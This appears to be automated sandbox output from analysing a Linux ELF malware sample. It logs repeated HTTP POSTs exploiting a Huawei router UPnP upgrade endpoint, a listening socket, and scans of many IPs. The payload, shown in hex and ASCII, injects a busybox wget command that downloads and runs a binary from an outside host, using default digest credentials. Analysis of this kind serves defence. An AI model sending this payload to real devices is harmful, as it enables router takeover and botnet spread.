2e 72 65 62 69 72 74 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 3b 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 460Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 37 30 2e 31 34 39 2e 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 3b 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 460Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 37 30 2e 31 34 39 2e 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 3b 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 460Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 37 30 2e 31 34 39 2e 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 3b 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 460Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 37 30 2e 31 34 39 2e 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 3b 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 460Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 37 30 2e 31 34 39 2e 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 3b 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 460Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 37 30 2e 31 34 39 2e 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 3b 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 460Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 37 30 2e 31 34 39 2e 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 3b 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox chmod 777 /tmp/.rebirth; /tmp/.rebirth huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Sample listens on a socket
Source: /tmp/JdnjRc1VGX.elf (PID: 5439) Socket: 127.0.0.1::8345 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 157.127.163.148
Source: unknown TCP traffic detected without corresponding DNS query: 157.169.195.253
Source: unknown TCP traffic detected without corresponding DNS query: 41.150.177.141
Source: unknown TCP traffic detected without corresponding DNS query: 179.220.33.37
Source: unknown TCP traffic detected without corresponding DNS query: 41.143.143.194
Source: unknown TCP traffic detected without corresponding DNS query: 157.82.7.105
Source: unknown TCP traffic detected without corresponding DNS query: 123.100.87.72
Source: unknown TCP traffic detected without corresponding DNS query: 120.234.228.60
Source: unknown TCP traffic detected without corresponding DNS query: 41.201.0.53
Source: unknown TCP traffic detected without corresponding DNS query: 34.146.252.185
Source: unknown TCP traffic detected without corresponding DNS query: 41.169.36.185
Source: unknown TCP traffic detected without corresponding DNS query: 212.246.169.58
Source: unknown TCP traffic detected without corresponding DNS query: 155.105.216.119
Source: unknown TCP traffic detected without corresponding DNS query: 197.46.107.204
Source: unknown TCP traffic detected without corresponding DNS query: 157.9.73.4
Source: unknown TCP traffic detected without corresponding DNS query: 157.73.65.233
Source: unknown TCP traffic detected without corresponding DNS query: 120.98.26.29
Source: unknown TCP traffic detected without corresponding DNS query: 37.248.96.38
Source: unknown TCP traffic detected without corresponding DNS query: 77.165.61.60
Source: unknown TCP traffic detected without corresponding DNS query: 41.129.181.92
Source: unknown TCP traffic detected without corresponding DNS query: 197.67.41.40
Source: unknown TCP traffic detected without corresponding DNS query: 157.125.18.103
Source: unknown TCP traffic detected without corresponding DNS query: 41.6.188.130
Source: unknown TCP traffic detected without corresponding DNS query: 132.154.153.57
Source: unknown TCP traffic detected without corresponding DNS query: 41.254.190.241
Source: unknown TCP traffic detected without corresponding DNS query: 157.184.242.37
Source: unknown TCP traffic detected without corresponding DNS query: 157.16.246.37
Source: unknown TCP traffic detected without corresponding DNS query: 197.142.247.95
Source: unknown TCP traffic detected without corresponding DNS query: 157.130.121.109
Source: unknown TCP traffic detected without corresponding DNS query: 201.194.198.71
Source: unknown TCP traffic detected without corresponding DNS query: 197.128.117.61
Source: unknown TCP traffic detected without corresponding DNS query: 197.44.220.208
Source: unknown TCP traffic detected without corresponding DNS query: 197.218.174.16
Source: unknown TCP traffic detected without corresponding DNS query: 85.153.73.244
Source: unknown TCP traffic detected without corresponding DNS query: 157.171.23.212
Source: unknown TCP traffic detected without corresponding DNS query: 41.46.82.205
Source: unknown TCP traffic detected without corresponding DNS query: 130.250.223.255
Source: unknown TCP traffic detected without corresponding DNS query: 197.180.12.216
Source: unknown TCP traffic detected without corresponding DNS query: 2.195.109.167
Source: unknown TCP traffic detected without corresponding DNS query: 157.151.109.161
Source: unknown TCP traffic detected without corresponding DNS query: 41.205.117.48
Source: unknown TCP traffic detected without corresponding DNS query: 41.128.17.22
Source: unknown TCP traffic detected without corresponding DNS query: 120.2.105.91
Source: unknown TCP traffic detected without corresponding DNS query: 197.55.147.245
Source: unknown TCP traffic detected without corresponding DNS query: 41.0.79.136
Source: unknown TCP traffic detected without corresponding DNS query: 41.97.163.250
Source: unknown TCP traffic detected without corresponding DNS query: 106.249.116.172
Source: unknown TCP traffic detected without corresponding DNS query: 197.155.253.203
Source: unknown TCP traffic detected without corresponding DNS query: 41.253.249.43
Source: unknown TCP traffic detected without corresponding DNS query: 157.147.78.26
Source: unknown HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 460Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 37 30 2e 31 34 39 2e 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 3b 20 2f 74 6d 70 2f 2e 72 65 62 69 72 74 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.70.149.14 -l /tmp/.rebirth -r /mips; /bin/busybox 